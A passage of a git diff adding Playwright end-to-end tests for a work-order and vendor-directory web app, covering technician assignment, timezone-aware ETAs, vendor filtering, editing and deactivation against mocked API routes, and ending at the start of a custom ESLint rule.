page.getByLabel("Site").click(); + await page.getByRole("option", { name: "St. Louis HQ" }).click(); + await expect(page.getByText(/1\. Gateway Plumbing/)).toBeVisible(); + await page.getByRole("button", { name: "Move Metro HVAC up" }).click(); + await expect(page.getByText(/1\. Metro HVAC/)).toBeVisible(); + await page.getByRole("button", { name: "Save preferences" }).click(); + + await expect + .poll(() => savedPreferences) + .toEqual([ + { vendorId: 8, trade: "HVAC", sortOrder: 0 }, + { vendorId: 7, trade: "Plumbing", sortOrder: 1 }, + ]); + }); + + test("creates a work order and assigns the selected technician with ETA", async ({ page }) => { + await authenticate(page); + let assignment: unknown; + + await page.route("**/api/Contact/GetLocations", (route) => + fulfillJson(route, { data: [{ Id: 10, Name: "St. Louis HQ" }] }), + ); + await page.route("**/api/Employee/Dropdown", (route) => fulfillJson(route, { data: [] })); + await page.route("**/api/DropdownOptions/ByCategory/**", (route) => + fulfillJson(route, { data: [] }), + ); + await page.route("**/api/vendor-operations/availability*", (route) => + fulfillJson(route, { + data: [ + { + id: 7, + companyName: "Gateway Plumbing", + contactName: "Taylor Tech", + availabilityStatus: "Available", + isPreferred: true, + conflicts: [], + }, + ], + }), + ); + await page.route("**/api/WorkOrder/AddWorkorder", (route) => + fulfillJson(route, { + data: { + Id: 900, + WorkerOrderTitle: "Boiler repair", + LocationId: 10, + Priority: "Sev 1", + Status: "Open", + Comments: [], + AuditLog: [], + Dispatches: [], + }, + }), + ); + await page.route("**/api/vendor-operations/work-orders/900/assignment", async (route) => { + assignment = route.request().postDataJSON(); + await fulfillJson(route, { + availabilityStatus: "Available", + conflicts: [ + { + workOrderId: 502, + workOrderNumber: "WO-502", + start: "2026-07-25T12:00:00Z", + end: "2026-07-25T14:00:00Z", + }, + ], + }); + }); + await page.route("**/api/WorkOrder/GetWorkorderById*", (route) => + fulfillJson(route, { + data: { + Id: 900, + WorkerOrderTitle: "Boiler repair", + LocationId: 10, + Priority: "Sev 1", + Status: "Open", + Comments: [], + AuditLog: [], + Dispatches: [], + }, + }), + ); + + await page.goto("/workorders/new"); + await page.getByLabel("Title").fill("Boiler repair"); + await page.getByLabel("Location").click(); + await page.getByRole("option", { name: "St. Louis HQ" }).click(); + await page.getByLabel("Priority").click(); + await page.getByRole("option", { name: "Sev 1" }).click(); + await page.getByLabel("Scheduled").fill("2026-07-25"); + await page.getByLabel("Appointment start").fill("2026-07-25T10:00"); + await page.getByLabel("Appointment end").fill("2026-07-25T12:00"); + await page.getByLabel("Company + Technician").click(); + await page.getByRole("option", { name: /Gateway Plumbing · Taylor Tech/ }).click(); + await page.getByLabel("Assignment ETA").fill("2026-07-25T08:30"); + await page.getByLabel("Manual ETA override").check(); + await page.getByRole("button", { name: "Create" }).click(); + + await expect + .poll(() => assignment) + .toEqual({ + vendorId: 7, + scheduledStart: "2026-07-25T10:00:00.000Z", + scheduledEnd: "2026-07-25T12:00:00.000Z", + estimatedArrivalAt: "2026-07-25T08:30:00.000Z", + etaManualOverride: true, + }); + await expect(page.getByText(/scheduling conflict/i)).toBeVisible(); + await expect(page).toHaveURL(/\/workorders\/900$/); + }); + + test("preserves an existing ETA when editing in a non-UTC timezone", async ({ browser }) => { + const context = await browser.newContext({ timezoneId: "America/New_York" }); + const page = await context.newPage(); + await authenticate(page); + let assignment: Record | undefined; + + const workOrder = { + Id: 901, + WorkerOrderTitle: "Boiler repair", + LocationId: 10, + Priority: "Sev 1", + Status: "Open", + CreatedDate: "2026-07-20", + ScheduledDate: "2026-07-25", + Comments: [], + AuditLog: [], + Dispatches: [ + { + Id: 44, + VendorId: 7, + Status: "Acknowledged", + EstimatedArrivalAt: "2026-07-25T12:30:00.000Z", + EtaManualOverride: true, + }, + ], + }; + + await page.route("**/api/Contact/GetLocations", (route) => + fulfillJson(route, { data: [{ Id: 10, Name: "St. Louis HQ" }] }), + ); + await page.route("**/api/Employee/Dropdown", (route) => fulfillJson(route, { data: [] })); + await page.route("**/api/DropdownOptions/ByCategory/**", (route) => + fulfillJson(route, { data: [] }), + ); + await page.route("**/api/vendor-operations/availability*", (route) => + fulfillJson(route, { + data: [ + { + id: 7, + companyName: "Gateway Plumbing", + contactName: "Taylor Tech", + availabilityStatus: "Available", + isPreferred: true, + conflicts: [], + }, + ], + }), + ); + await page.route("**/api/WorkOrder/GetWorkorderById*", (route) => + fulfillJson(route, { data: workOrder }), + ); + await page.route("**/api/WorkOrder/EditWorkorder", (route) => + fulfillJson(route, { data: workOrder }), + ); + await page.route("**/api/vendor-operations/work-orders/901/assignment", async (route) => { + assignment = route.request().postDataJSON() as Record; + await fulfillJson(route, { availabilityStatus: "Available", conflicts: [] }); + }); + + await page.goto("/workorders/edit/901"); + await expect(page.getByLabel("Assignment ETA")).toHaveValue("2026-07-25T08:30"); + await page.getByRole("button", { name: "Update" }).click(); + + await expect.poll(() => assignment?.estimatedArrivalAt).toBe("2026-07-25T12:30:00.000Z"); + await context.close(); + }); + + test("converts explicit local schedule bounds to the correct UTC instants across a DST transition", async ({ + browser, + }) => { + // America/New_York springs forward on 2026-03-08 at 02:00 EST -> 03:00 EDT. + // The window below straddles the transition: 01:00 is EST (UTC-5) while + // 04:00 is EDT (UTC-4). Each bound must resolve its own offset, proving no + // fixed-window assumption remains. + const context = await browser.newContext({ timezoneId: "America/New_York" }); + const page = await context.newPage(); + await authenticate(page); + let assignment: Record | undefined; + + await page.route("**/api/Contact/GetLocations", (route) => + fulfillJson(route, { data: [{ Id: 10, Name: "St. Louis HQ" }] }), + ); + await page.route("**/api/Employee/Dropdown", (route) => fulfillJson(route, { data: [] })); + await page.route("**/api/DropdownOptions/ByCategory/**", (route) => + fulfillJson(route, { data: [] }), + ); + await page.route("**/api/vendor-operations/availability*", (route) => + fulfillJson(route, { + data: [ + { + id: 7, + companyName: "Gateway Plumbing", + contactName: "Taylor Tech", + availabilityStatus: "Available", + isPreferred: true, + conflicts: [], + }, + ], + }), + ); + await page.route("**/api/WorkOrder/AddWorkorder", (route) => + fulfillJson(route, { + data: { + Id: 902, + WorkerOrderTitle: "Boiler repair", + LocationId: 10, + Priority: "Sev 1", + Status: "Open", + Comments: [], + AuditLog: [], + Dispatches: [], + }, + }), + ); + await page.route("**/api/vendor-operations/work-orders/902/assignment", async (route) => { + assignment = route.request().postDataJSON() as Record; + await fulfillJson(route, { availabilityStatus: "Available", conflicts: [] }); + }); + await page.route("**/api/WorkOrder/GetWorkorderById*", (route) => + fulfillJson(route, { + data: { + Id: 902, + WorkerOrderTitle: "Boiler repair", + LocationId: 10, + Priority: "Sev 1", + Status: "Open", + Comments: [], + AuditLog: [], + Dispatches: [], + }, + }), + ); + + await page.goto("/workorders/new"); + await page.getByLabel("Title").fill("Boiler repair"); + await page.getByLabel("Location").click(); + await page.getByRole("option", { name: "St. Louis HQ" }).click(); + await page.getByLabel("Priority").click(); + await page.getByRole("option", { name: "Sev 1" }).click(); + await page.getByLabel("Appointment start").fill("2026-03-08T01:00"); + await page.getByLabel("Appointment end").fill("2026-03-08T04:00"); + await page.getByLabel("Company + Technician").click(); + await page.getByRole("option", { name: /Gateway Plumbing · Taylor Tech/ }).click(); + await page.getByRole("button", { name: "Create" }).click(); + + await expect.poll(() => assignment?.scheduledStart).toBe("2026-03-08T06:00:00.000Z"); + await expect.poll(() => assignment?.scheduledEnd).toBe("2026-03-08T08:00:00.000Z"); + await context.close(); + }); + + test("focuses the Vendor & Time section when arriving from a no-vendor alert", async ({ + page, + }) => { + await authenticate(page); + await page.route("**/api/Contact/GetLocations", (route) => + fulfillJson(route, { data: [{ Id: 10, Name: "St. Louis HQ" }] }), + ); + await page.route("**/api/Employee/Dropdown", (route) => fulfillJson(route, { data: [] })); + await page.route("**/api/DropdownOptions/ByCategory/**", (route) => + fulfillJson(route, { data: [] }), + ); + await page.route("**/api/vendor-operations/availability*", (route) => + fulfillJson(route, { + data: [ + { + id: 7, + companyName: "Gateway Plumbing", + contactName: "Taylor Tech", + availabilityStatus: "Available", + isPreferred: true, + conflicts: [], + }, + ], + }), + ); + await page.route("**/api/WorkOrder/GetWorkorderById*", (route) => + fulfillJson(route, { + data: { + Id: 501, + WorkerOrderTitle: "Boiler repair", + LocationId: 10, + Priority: "Sev 1", + Status: "Open", + Comments: [], + AuditLog: [], + Dispatches: [], + }, + }), + ); + + await page.goto("/workorders/edit/501?assignVendor=1"); + + const vendorSection = page.getByRole("region", { name: "Vendor & Time" }); + await expect(vendorSection).toBeVisible(); + await expect(vendorSection).toBeFocused(); + await page.getByLabel("Company + Technician").click(); + const option = page.getByRole("option", { name: /Gateway Plumbing · Taylor Tech/ }); + await expect(option).toContainText("Unknown"); + }); +}); diff --git a/e2e/vendors/vendors.spec.ts b/e2e/vendors/vendors.spec.ts new file mode 100644 index 00000000..8bbfdfb8 --- /dev/null +++ b/e2e/vendors/vendors.spec.ts @@ -0,0 +1,552 @@ +import { expect, test, type Page, type Route } from "@playwright/test"; + +const TEST_USER = { + token: "vendor-e2e-token", + expiration: new Date(Date.now() + 60 * 60 * 1000).toISOString(), + email: "admin@seahavenind.com", + userRoles: "Admin", + phoneNumber: "5551234567", + fullname: "Vendor E2E Admin", + id: "1", +}; + +const activeVendors = [ + { + Id: 1, + CompanyId: 101, + CompanyName: "Gateway Plumbing", + ContactName: "Adam Whyte", + Email: "dispatch@gateway.test", + Phone: "314-555-0198", + CompanyPhone: "314-555-0100", + Address: "1 Market St", + City: "St. Louis", + State: "MO", + Zip: "63101", + TradeSpecialties: "Plumbing, Backflow Preventers", + GoogleMapsUrl: "https://maps.google.com/gateway", + Notes: "Preferred after-hours vendor", + TotalJobs: 72, + IsActive: true, + PreferredContact: "Email", + }, + { + Id: 2, + CompanyId: 102, + CompanyName: "Metro HVAC", + ContactName: "Maya Chen", + Email: "maya@metro.test", + Phone: "314-555-0112", + CompanyPhone: "314-555-0110", + Address: "2 Pine St", + City: "Clayton", + State: "MO", + Zip: "63105", + TradeSpecialties: "HVAC", + GoogleMapsUrl: "", + Notes: "", + TotalJobs: 18, + IsActive: true, + }, +]; + +const inactiveVendors = [ + { + ...activeVendors[0], + Id: 3, + CompanyName: "Drain Cleaning Bros", + ContactName: "Drew Banks", + TotalJobs: 151, + IsActive: false, + }, +]; + +interface MockState { + listUrls: string[]; + createdBody?: Record; + updatedBody?: Record; + deletedId?: string; +} + +async function fulfillJson(route: Route, body: unknown, status = 200) { + await route.fulfill({ status, contentType: "application/json", body: JSON.stringify(body) }); +} + +async function captureVisual(page: Page, path: string) { + if (!process.env.VENDOR_VISUAL_CAPTURE) return; + await page.waitForTimeout(400); + await page.screenshot({ path, fullPage: true }); +} + +async function mockVendorApi( + page: Page, + options: { + listError?: boolean; + deactivationBlocked?: boolean; + deleteConflict?: boolean; + legacyGateway?: boolean; + } = {}, +) { + const state: MockState = { listUrls: [] }; + const vendorRecords = [...activeVendors, ...inactiveVendors].map((vendor) => ({ ...vendor })); + if (options.legacyGateway) { + vendorRecords[0].Phone = "555-1234 ext 9"; + vendorRecords[0].GoogleMapsUrl = "http://maps.example.test/legacy"; + } + + await page.addInitScript((user) => localStorage.setItem("auth", JSON.stringify(user)), TEST_USER); + + await page.route("**/api/DropdownOptions/ByCategory/Trade*", (route) => + fulfillJson(route, { + data: [ + { id: 1, value: "Plumbing" }, + { id: 2, value: "HVAC" }, + ], + }), + ); + await page.route("**/api/Vendor/facets*", (route) => + fulfillJson(route, { + data: { + companies: activeVendors.map((vendor) => ({ + companyId: vendor.CompanyId, + name: vendor.CompanyName, + companyPhone: vendor.CompanyPhone, + email: vendor.Email, + address: vendor.Address, + city: vendor.City, + state: vendor.State, + zip: vendor.Zip, + googleMapsUrl: vendor.GoogleMapsUrl, + })), + trades: ["Plumbing", "Backflow Preventers", "HVAC"], + locations: [ + { city: "St. Louis", state: "MO", label: "St. Louis, MO" }, + { city: "Clayton", state: "MO", label: "Clayton, MO" }, + ], + jobBuckets: [ + { id: "under-50", label: "Under 50" }, + { id: "50-99", label: "50–99" }, + { id: "100-149", label: "100–149" }, + { id: "150-plus", label: "150+" }, + ], + }, + }), + ); + await page.route("**/api/Vendor/GetVendorList*", async (route) => { + const url = new URL(route.request().url()); + state.listUrls.push(url.toString()); + if (options.listError && url.searchParams.get("pageSize") !== "1") { + await fulfillJson(route, { message: "Vendor directory unavailable" }, 500); + return; + } + + const isActive = url.searchParams.get("isActive") !== "false"; + const source = vendorRecords.filter((vendor) => vendor.IsActive === isActive); + const search = (url.searchParams.get("search") ?? "").toLowerCase(); + const company = url.searchParams.get("companies[0]"); + const filtered = source.filter( + (vendor) => + (!search || + `${vendor.CompanyName} ${vendor.ContactName} ${vendor.TradeSpecialties} ${vendor.City} ${vendor.State}` + .toLowerCase() + .includes(search)) && + (!company || vendor.CompanyName === company), + ); + const isCount = url.searchParams.get("pageSize") === "1"; + await fulfillJson(route, { + Data: isCount ? filtered.slice(0, 1) : filtered, + TotalCount: filtered.length, + PageNumber: 1, + PageSize: Number(url.searchParams.get("pageSize") ?? 12), + }); + }); + await page.route(/\/api\/vendor-company-roster(?:\/\d+)?(?:\?.*)?$/, async (route) => { + const request = route.request(); + const url = new URL(request.url()); + const pathCompanyId = url.pathname.match(/vendor-company-roster\/(\d+)$/)?.[1]; + + if (request.method() === "POST") { + state.createdBody = request.postDataJSON(); + await fulfillJson(route, { + ...state.createdBody, + companyId: 999, + rowVersion: "rv-created", + }); + return; + } + + if (request.method() === "PUT" && pathCompanyId) { + state.updatedBody = request.postDataJSON(); + const technicians = Array.isArray(state.updatedBody.technicians) + ? (state.updatedBody.technicians as Array>) + : []; + for (const technician of technicians) { + const vendor = vendorRecords.find((item) => String(item.Id) === String(technician.id)); + if (vendor && typeof technician.isActive === "boolean") { + vendor.IsActive = technician.isActive; + } + } + await fulfillJson(route, { + ...state.updatedBody, + companyId: Number(pathCompanyId), + rowVersion: "rv-updated", + }); + return; + } + + const vendorId = url.searchParams.get("vendorId"); + const requestedCompanyId = url.searchParams.get("companyId") ?? pathCompanyId; + const anchor = vendorId + ? vendorRecords.find((vendor) => String(vendor.Id) === vendorId) + : vendorRecords.find((vendor) => String(vendor.CompanyId) === requestedCompanyId); + if (!anchor) { + await fulfillJson(route, { message: "Vendor roster not found" }, 404); + return; + } + await fulfillJson(route, { + companyId: anchor.CompanyId, + rowVersion: "rv-1", + name: anchor.CompanyName, + companyPhone: anchor.CompanyPhone, + email: anchor.Email, + address: anchor.Address, + city: anchor.City, + state: anchor.State, + zip: anchor.Zip, + googleMapsUrl: anchor.GoogleMapsUrl, + notes: anchor.Notes, + technicians: vendorRecords + .filter((vendor) => vendor.CompanyId === anchor.CompanyId) + .map((vendor) => ({ + id: vendor.Id, + contactName: vendor.ContactName, + phone: vendor.Phone, + email: vendor.Email, + preferredContact: vendor.PreferredContact ?? "Phone", + tradeSpecialties: vendor.TradeSpecialties, + isActive: vendor.IsActive, + totalJobs: vendor.TotalJobs, + })), + }); + }); + await page.route(/\/api\/vendors\/\d+\/deactivation-impact$/, async (route) => { + const vendorId = Number(route.request().url().split("/").at(-2)); + await fulfillJson(route, { + data: { + vendorId, + canDeactivate: !options.deactivationBlocked, + openWorkOrders: options.deactivationBlocked + ? [ + { + workOrderId: 501, + workOrderNumber: "WO-501", + workOrderTitle: "Emergency boiler repair", + status: "Dispatched", + scheduledDate: "2026-07-24T14:00:00Z", + dispatchId: 801, + }, + ] + : [], + }, + }); + }); + await page.route(/\/api\/vendors\/\d+\/portal-token$/, (route) => + fulfillJson(route, { + data: { + portalUrl: "https://vendor.example.test/token", + issuedAt: "2026-07-31T12:00:00Z", + expiresAt: "2026-08-07T12:00:00Z", + }, + }), + ); + await page.route(/\/api\/vendors\/\d+$/, async (route) => { + const id = route.request().url().split("/").pop() ?? ""; + if (route.request().method() === "PUT") { + state.updatedBody = route.request().postDataJSON(); + const vendor = vendorRecords.find((item) => String(item.Id) === id); + if (options.legacyGateway && vendor && typeof state.updatedBody?.isActive === "boolean") { + vendor.IsActive = state.updatedBody.isActive; + } + await fulfillJson(route, { + data: { ...vendor, ...state.updatedBody, Id: Number(id) }, + }); + return; + } + if (route.request().method() === "DELETE") { + if (options.deleteConflict) { + await fulfillJson( + route, + { message: "Vendor has open work orders and cannot be deactivated." }, + 409, + ); + return; + } + state.deletedId = id; + const vendor = vendorRecords.find((item) => String(item.Id) === id); + if (options.legacyGateway && vendor) vendor.IsActive = false; + await fulfillJson(route, { status: "200" }); + return; + } + const vendor = vendorRecords.find((item) => String(item.Id) === id); + await fulfillJson(route, { data: vendor }); + }); + await page.route(/\/api\/vendors\/?$/, async (route) => { + if (route.request().method() !== "POST") { + await route.fallback(); + return; + } + state.createdBody = route.request().postDataJSON(); + await fulfillJson(route, { data: { ...state.createdBody, id: 99, totalJobs: 0 } }); + }); + + return state; +} + +test.describe("Vendor directory prototype parity", () => { + test("covers status tabs, global counts, search, facets, table fields, and filtered footer", async ({ + page, + }) => { + const state = await mockVendorApi(page); + await page.goto("/vendors"); + + await expect(page.getByRole("heading", { name: "Vendors / Technicians" })).toBeVisible(); + await expect(page.getByText("3 vendor entries · 2 active")).toBeVisible(); + await expect(page.getByRole("tab", { name: "Active (2)" })).toHaveAttribute( + "aria-selected", + "true", + ); + for (const heading of [ + "Company", + "Technician", + "Location", + "Trade", + "Phone", + "Email", + "Total Jobs", + "Status", + ]) { + await expect(page.getByRole("columnheader", { name: heading })).toBeVisible(); + } + await expect(page.getByText("Gateway Plumbing")).toBeVisible(); + await expect(page.getByText("+1")).toBeVisible(); + await expect(page.getByText("2 active vendor entries · 2 active · 1 inactive")).toBeVisible(); + await captureVisual(page, "/tmp/seahaven-vendor-implemented-list.png"); + + await page.getByPlaceholder("Search name, company, trade...").fill("metro"); + await expect(page.getByText("Metro HVAC")).toBeVisible(); + await expect(page.getByText(/1 active vendor entry · filtered/)).toBeVisible(); + expect(state.listUrls.some((url) => new URL(url).searchParams.get("search") === "metro")).toBe( + true, + ); + + await page.getByPlaceholder("Search name, company, trade...").fill("clayton"); + await expect(page.getByText("Metro HVAC")).toBeVisible(); + + await page.getByPlaceholder("Search name, company, trade...").clear(); + await page.getByRole("button", { name: "Open vendor filters" }).click(); + await expect(page.getByRole("heading", { name: "Filters" })).toBeVisible(); + await captureVisual(page, "/tmp/seahaven-vendor-implemented-filters.png"); + await page.getByRole("button", { name: /Company/ }).click(); + await page.getByPlaceholder("All companies").click(); + await page.getByRole("option", { name: /Gateway Plumbing/ }).click(); + await page.getByRole("button", { name: "Apply" }).click(); + await expect(page.getByText("Gateway Plumbing").first()).toBeVisible(); + await expect(page.getByText(/1 active vendor entry · filtered/)).toBeVisible(); + expect( + state.listUrls.some( + (url) => new URL(url).searchParams.get("companies[0]") === "Gateway Plumbing", + ), + ).toBe(true); + + await page.getByRole("button", { name: "Deactivate vendor" }).first().click(); + await expect(page.getByRole("dialog", { name: "Deactivate Vendor" })).toContainText( + "history will be preserved", + ); + await page.getByRole("button", { name: "Deactivate", exact: true }).click(); + await expect.poll(() => state.deletedId).toBe("1"); + + await page.getByRole("tab", { name: "Inactive (1)" }).click(); + await expect(page.getByText("No vendors match the current filters.")).toBeVisible(); + await page.getByRole("button", { name: "Clear all" }).click(); + await expect(page.getByText("Drain Cleaning Bros")).toBeVisible(); + await expect(page.getByRole("button", { name: "Deactivate vendor" })).toHaveCount(0); + }); + + test("adds a technician to an existing company, then views and edits the aggregate", async ({ + page, + }) => { + const state = await mockVendorApi(page); + await page.goto("/vendors"); + + await page.getByRole("button", { name: "+ Add Vendor" }).click(); + await expect( + page.getByText("Register a company and add zero, one, or multiple technicians."), + ).toBeVisible(); + await captureVisual(page, "/tmp/seahaven-vendor-implemented-add.png"); + await expect(page.getByRole("button", { name: "Add Vendor Company" }).last()).toBeDisabled(); + + await page.getByRole("combobox", { name: "Company" }).click(); + await page.getByRole("option", { name: "Gateway Plumbing" }).click(); + await expect(page.getByLabel("Company Phone")).toHaveValue("314-555-0100"); + await expect(page.getByRole("textbox", { name: "Email", exact: true })).toHaveValue( + "dispatch@gateway.test", + ); + await expect(page.getByLabel("Address")).toHaveValue("1 Market St"); + await expect(page.getByLabel("Google Maps URL")).toHaveValue("https://maps.google.com/gateway"); + await expect(page.getByLabel("Preferred Contact")).toHaveCount(0); + await page.getByRole("button", { name: "Add technician" }).click(); + await page.getByLabel("Technician Name").last().fill("New Technician"); + const tradeInput = page.getByRole("combobox", { name: "Add Trade" }).last(); + await tradeInput.fill("HVAC"); + await tradeInput.press("Enter"); + await tradeInput.fill("Plumbing"); + await tradeInput.press("Enter"); + await page.getByRole("button", { name: "Move Plumbing up" }).click(); + await page.getByLabel("Notes").fill("Created in browser E2E"); + await page.getByRole("button", { name: "Add Vendor Company" }).last().click(); + await expect(page.getByRole("dialog", { name: "Add Vendor Company" })).toHaveCount(0); + expect(state.updatedBody).toMatchObject({ + name: "Gateway Plumbing", + companyPhone: "(314) 555-0100", + notes: "Created in browser E2E", + rowVersion: "rv-1", + }); + expect(state.updatedBody?.technicians).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + contactName: "New Technician", + tradeSpecialties: "Plumbing, HVAC", + }), + ]), + ); + const submittedTechnicians = Array.isArray(state.updatedBody?.technicians) + ? (state.updatedBody.technicians as Array>) + : []; + const newTechnician = submittedTechnicians.find( + (technician) => technician.contactName === "New Technician", + ); + expect(newTechnician?.preferredContact).toBeUndefined(); + + await page.getByRole("button", { name: "View vendor Gateway Plumbing" }).click(); + const detailDrawer = page.locator(".MuiDrawer-paper").last(); + await expect(detailDrawer.getByRole("heading", { name: "Gateway Plumbing" })).toBeVisible(); + await expect(detailDrawer.getByText("Adam Whyte")).toBeVisible(); + await expect(detailDrawer.getByText("72")).toBeVisible(); + await expect( + detailDrawer.getByRole("link", { name: "Open in Google Maps" }).first(), + ).toHaveAttribute("target", "_blank"); + await captureVisual(page, "/tmp/seahaven-vendor-implemented-detail.png"); + + await detailDrawer.getByRole("button", { name: "Edit" }).click(); + await expect(page).toHaveURL(/\/vendors\/edit\/1$/); + await page.getByLabel("Notes").fill("Updated in browser E2E"); + await page.getByRole("button", { name: "Save" }).click(); + await expect.poll(() => state.updatedBody?.notes).toBe("Updated in browser E2E"); + }); + + test("reactivates a legacy inactive vendor with an exact sparse update", async ({ page }) => { + const state = await mockVendorApi(page, { legacyGateway: true }); + await page.goto("/vendors"); + + await page.getByRole("button", { name: "Deactivate vendor" }).first().click(); + await page.getByRole("button", { name: "Deactivate", exact: true }).click(); + await expect.poll(() => state.deletedId).toBe("1"); + + await page.getByRole("tab", { name: "Inactive (2)" }).click(); + await page.getByRole("button", { name: "View vendor Gateway Plumbing" }).click(); + const detailDrawer = page.locator(".MuiDrawer-paper").last(); + await detailDrawer.getByRole("button", { name: "Edit" }).click(); + await expect(page).toHaveURL(/\/vendors\/edit\/1$/); + await page.getByRole("switch", { name: "Inactive" }).first().click(); + await page.getByRole("button", { name: "Save" }).click(); + await expect.poll(() => state.updatedBody).toEqual({ isActive: true }); + await page.getByRole("tab", { name: "Active (2)", exact: true }).click(); + await expect(page.getByText("Gateway Plumbing").first()).toBeVisible(); + }); + + test("supports keyboard dismissal and free-text company creation", async ({ page }) => { + const state = await mockVendorApi(page); + await page.goto("/vendors"); + + const addButton = page.getByRole("button", { name: "+ Add Vendor" }); + await addButton.focus(); + await page.keyboard.press("Enter"); + await expect(page.getByRole("dialog", { name: /Add Vendor/ })).toBeVisible(); + await page.keyboard.press("Escape"); + await expect(page.getByRole("dialog", { name: /Add Vendor/ })).toHaveCount(0); + await expect(addButton).toBeFocused(); + + await addButton.click(); + await expect(page.getByRole("button", { name: "Add Vendor Company" }).last()).toBeDisabled(); + await page.getByRole("combobox", { name: "Company" }).fill("Independent Vendor LLC"); + await page.getByLabel("Company Phone").fill("3145550199"); + await page.getByRole("button", { name: "Add Vendor Company" }).last().click(); + + await expect.poll(() => state.createdBody?.name).toBe("Independent Vendor LLC"); + expect(state.createdBody?.technicians).toEqual([]); + }); + + test("closes vendor details with Escape and keeps only Edit in the footer", async ({ page }) => { + await mockVendorApi(page); + await page.goto("/vendors"); + + await page.getByRole("button", { name: "View vendor Gateway Plumbing" }).click(); + const detailDrawer = page.locator(".MuiDrawer-paper").last(); + await expect(detailDrawer).toBeVisible(); + await expect(detailDrawer.getByRole("button", { name: "Edit" })).toBeVisible(); + await expect(detailDrawer.getByRole("button", { name: "Maps" })).toHaveCount(0); + + await page.keyboard.press("Escape"); + await expect(page.getByRole("button", { name: "Close drawer" })).toHaveCount(0); + }); + + test("blocks deactivation for linked work orders and preserves the vendor on a raced 409", async ({ + page, + }) => { + const blockedState = await mockVendorApi(page, { deactivationBlocked: true }); + await page.goto("/vendors"); + + await page.getByRole("button", { name: "Deactivate vendor" }).first().click(); + const blockedDialog = page.getByRole("dialog", { name: "Deactivate Vendor" }); + await expect(blockedDialog).toContainText("WO-501 — Emergency boiler repair"); + await expect(blockedDialog.getByRole("button", { name: /^Deactivate$/ })).toBeDisabled(); + expect(blockedState.deletedId).toBeUndefined(); + + await blockedDialog.getByRole("button", { name: "Cancel" }).click(); + await page.unrouteAll({ behavior: "wait" }); + + const racedState = await mockVendorApi(page, { deleteConflict: true }); + await page.reload(); + await page.getByRole("button", { name: "Deactivate vendor" }).first().click(); + await page + .getByRole("dialog", { name: "Deactivate Vendor" }) + .getByRole("button", { + name: /^Deactivate$/, + }) + .click(); + + await expect(page.getByRole("dialog", { name: "Deactivate Vendor" })).toContainText( + /open work orders|conflict/i, + ); + expect(racedState.deletedId).toBeUndefined(); + await expect(page.getByText("Gateway Plumbing").first()).toBeVisible(); + }); + + test("shows API failure and keeps drawers usable at a mobile viewport", async ({ page }) => { + await page.setViewportSize({ width: 390, height: 844 }); + await mockVendorApi(page, { listError: true }); + await page.goto("/vendors"); + + await expect(page.getByRole("main").getByRole("alert")).toContainText( + /Vendor directory unavailable|failed|server error/i, + { timeout: 15_000 }, + ); + await page.getByRole("button", { name: "Open vendor filters" }).click(); + const filterDrawer = page.locator(".MuiDrawer-paper").filter({ hasText: "Total Jobs" }); + await expect(filterDrawer).toBeVisible(); + const box = await filterDrawer.boundingBox(); + expect(box?.width).toBeLessThanOrEqual(391); + await captureVisual(page, "/tmp/seahaven-vendor-implemented-mobile.png"); + await page.getByRole("button", { name: "Close filters" }).click(); + }); +}); diff --git a/e2e/work-orders/vendor-inline-editor.spec.ts b/e2e/work-orders/vendor-inline-editor.spec.ts new file mode 100644 index 00000000..d65c84f1 --- /dev/null +++ b/e2e/work-orders/vendor-inline-editor.spec.ts @@ -0,0 +1,91 @@ +import { expect, test, type Route } from "@playwright/test"; + +const TEST_USER = { + token: "work-order-vendor-e2e-token", + expiration: new Date(Date.now() + 60 * 60 * 1000).toISOString(), + email: "admin@seahavenind.com", + userRoles: "Admin", + phoneNumber: "5551234567", + fullname: "Work Order E2E Admin", + id: "1", +}; + +async function fulfillJson(route: Route, body: unknown, status = 200) { + await route.fulfill({ status, contentType: "application/json", body: JSON.stringify(body) }); +} + +test("edits only the vendor assigned to the current work order", async ({ page }) => { + let updateRequest: { url: string; body: Record } | undefined; + + await page.addInitScript((user) => localStorage.setItem("auth", JSON.stringify(user)), TEST_USER); + await page.route("**/api/WorkOrder/GetWorkorderById*", (route) => + fulfillJson(route, { + Id: 501, + InternalWONumber: "WO-501", + WorkerOrderNumber: "CUSTOMER-501", + WorkerOrderTitle: "Emergency boiler repair", + Status: "Dispatched", + Comments: [], + AuditLog: [], + Dispatches: [ + { + Id: 801, + DispatchNumber: "D-801", + VendorId: 7, + VendorName: "Gateway Plumbing", + VendorEmail: "dispatch@gateway.test", + Status: "Sent", + DispatchedAt: "2026-07-23T12:00:00Z", + }, + ], + }), + ); + await page.route("**/api/vendors/7/work-order-update", async (route) => { + updateRequest = { + url: route.request().url(), + body: route.request().postDataJSON() as Record, + }; + await fulfillJson(route, { data: { id: 7 } }); + }); + await page.route("**/api/vendors/7", (route) => + fulfillJson(route, { + data: { + Id: 7, + CompanyName: "Gateway Plumbing", + ContactName: "Adam Whyte", + PreferredContact: "Email", + Phone: "3145550198", + Email: "dispatch@gateway.test", + Notes: "Preferred after-hours vendor", + IsActive: true, + }, + }), + ); + await page.route("**/api/workorders/lookups/dispatchers", (route) => + fulfillJson(route, { data: [] }), + ); + await page.route("**/api/User*", (route) => fulfillJson(route, { data: [] })); + + await page.goto("/workorders/501"); + await expect(page.getByRole("heading", { name: "Emergency boiler repair" })).toBeVisible(); + await page.getByRole("button", { name: "Edit vendor" }).click(); + + await expect(page.getByRole("dialog", { name: "Edit assigned vendor" })).toBeVisible(); + await expect(page.getByText("Preferred contact")).toHaveCount(0); + await expect(page.getByLabel("Technician name")).toHaveValue("Adam Whyte"); + await page.getByLabel("Technician name").fill("Taylor Tech"); + await page.getByLabel("Phone").fill("3145550111"); + await page.getByLabel("Email").fill("taylor@example.com"); + await page.getByLabel("Notes").fill("Text before arrival"); + await page.getByRole("button", { name: "Save" }).click(); + + await expect(page.getByRole("dialog", { name: "Edit assigned vendor" })).toBeHidden(); + expect(updateRequest?.url).toMatch(/\/api\/vendors\/7\/work-order-update$/); + expect(updateRequest?.body).toEqual({ + workOrderId: 501, + contactName: "Taylor Tech", + phone: "(314) 555-0111", + email: "taylor@example.com", + notes: "Text before arrival", + }); +}); diff --git a/eslint-rules/no-non-boolean-jsx-and.js b/eslint-rules/no-non-boolean-jsx-and.js new file mode 100644 index 00000000..10408424 --- /dev/null +++ b/eslint-rules/no-non-boolean-jsx-and.js @@ -0,0 +1,95 @@ +import ts from "typescript"; + +/** + * Local type-aware rule: the left operand of `&&` in JSX must be entirely + * boolean. + * + * `{value && }` renders its left operand when it is falsy and + * non-boolean (notably `{count && }` renders `0`), so the left operand + * must be `boolean` (or 